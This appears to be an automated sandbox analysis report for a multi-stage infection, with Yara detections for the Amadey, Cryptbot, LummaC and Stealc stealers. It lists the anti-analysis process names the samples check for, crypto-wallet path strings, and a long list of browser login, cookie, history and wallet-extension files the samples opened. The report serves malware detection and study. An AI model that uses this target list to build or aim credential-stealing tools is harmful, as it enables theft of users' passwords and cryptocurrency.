Code function: 6_2_00405BFC ?_set_new_handler@@YAP6AHI@ZP6AHI@Z@Z,GetVersionExW,GetCommandLineW,lstrlenW,wsprintfW,_wtol,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,GetModuleFileNameW,_wtol,??2@YAPAXI@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,wsprintfW,_wtol,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,GetCommandLineW,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,GetCurrentProcess,SetProcessWorkingSetSize,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,CoInitialize,lstrlenW,_wtol,??3@YAXPAX@Z,??3@YAXPAX@Z,GetKeyState,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,GetFileAttributesW,??3@YAXPAX@Z,??3@YAXPAX@Z,_wtol,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,SetLastError,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,SetCurrentDirectoryW,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,MessageBoxA,

6_2_00405BFC

Source: C:\Users\user\AppData\Local\Temp\1015994001\f384e6dcaa.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Source: 153848897b.exe, 00000025.00000003.2979579217.0000000007202000.00000004.00001000.00020000.00000000.sdmp, 0ef66f58de.exe, 00000026.00000003.3118352471.00000000070F1000.00000004.00001000.00020000.00000000.sdmp, 0ef66f58de.exe, 00000026.00000002.3160260217.00000000013D2000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: procmon.exe
Source: 153848897b.exe, 00000025.00000003.2979579217.0000000007202000.00000004.00001000.00020000.00000000.sdmp, 0ef66f58de.exe, 00000026.00000003.3118352471.00000000070F1000.00000004.00001000.00020000.00000000.sdmp, 0ef66f58de.exe, 00000026.00000002.3160260217.00000000013D2000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: wireshark.exe

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 0.2.file.exe.420000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.skotes.exe.780000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.skotes.exe.780000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.3342167927.0000000000781000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2170404472.0000000000781000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.2620426839.0000000004DC0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2146023393.0000000000421000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.2129737672.00000000051E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2103410180.0000000004700000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Cryptbot

Source: Yara match

File source: dump.pcap, type: PCAP

Yara detected LummaC Stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: Process Memory Space: 4fa13d4e43.exe PID: 2356, type: MEMORYSTR

Yara detected Stealc

Source: Yara match	File source: 0000002D.00000002.3342170968.0000000000261000.00000040.00000001.01000000.00000012.sdmp, type: MEMORY
Source: Yara match	File source: 0000002D.00000002.3345216171.000000000115D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002D.00000002.3342170968.00000000003C7000.00000040.00000001.01000000.00000012.sdmp, type: MEMORY
Source: Yara match	File source: 0000002D.00000002.3342170968.0000000000334000.00000040.00000001.01000000.00000012.sdmp, type: MEMORY
Source: Yara match	File source: 0000002D.00000003.3273961695.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 8b77671daf.exe PID: 1048, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: 4fa13d4e43.exe, 00000027.00000002.3344975547.0000000000CC3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Electrum
Source: 4fa13d4e43.exe, 00000027.00000002.3344975547.0000000000CC3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/ElectronCash
Source: 4fa13d4e43.exe, 00000027.00000003.3297963986.000000000536A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Jaxx LibertyQdiUaZ
Source: 4fa13d4e43.exe, 00000027.00000002.3344975547.0000000000CC3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: 4fa13d4e43.exe, 00000027.00000002.3344975547.0000000000CC3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: 4fa13d4e43.exe, 00000027.00000003.3339147560.0000000000D22000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ExodusWeb3
Source: 4fa13d4e43.exe, 00000027.00000002.3344975547.0000000000CC3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Ethereum
Source: 4fa13d4e43.exe, 00000027.00000002.3344975547.0000000000CC3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets

Leaks process information

Source: global traffic

TCP traffic: 192.168.2.5:49906 -> 141.8.192.141:80

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cert9.db
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\formhistory.sqlite
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\logins.json
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\key4.db
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites
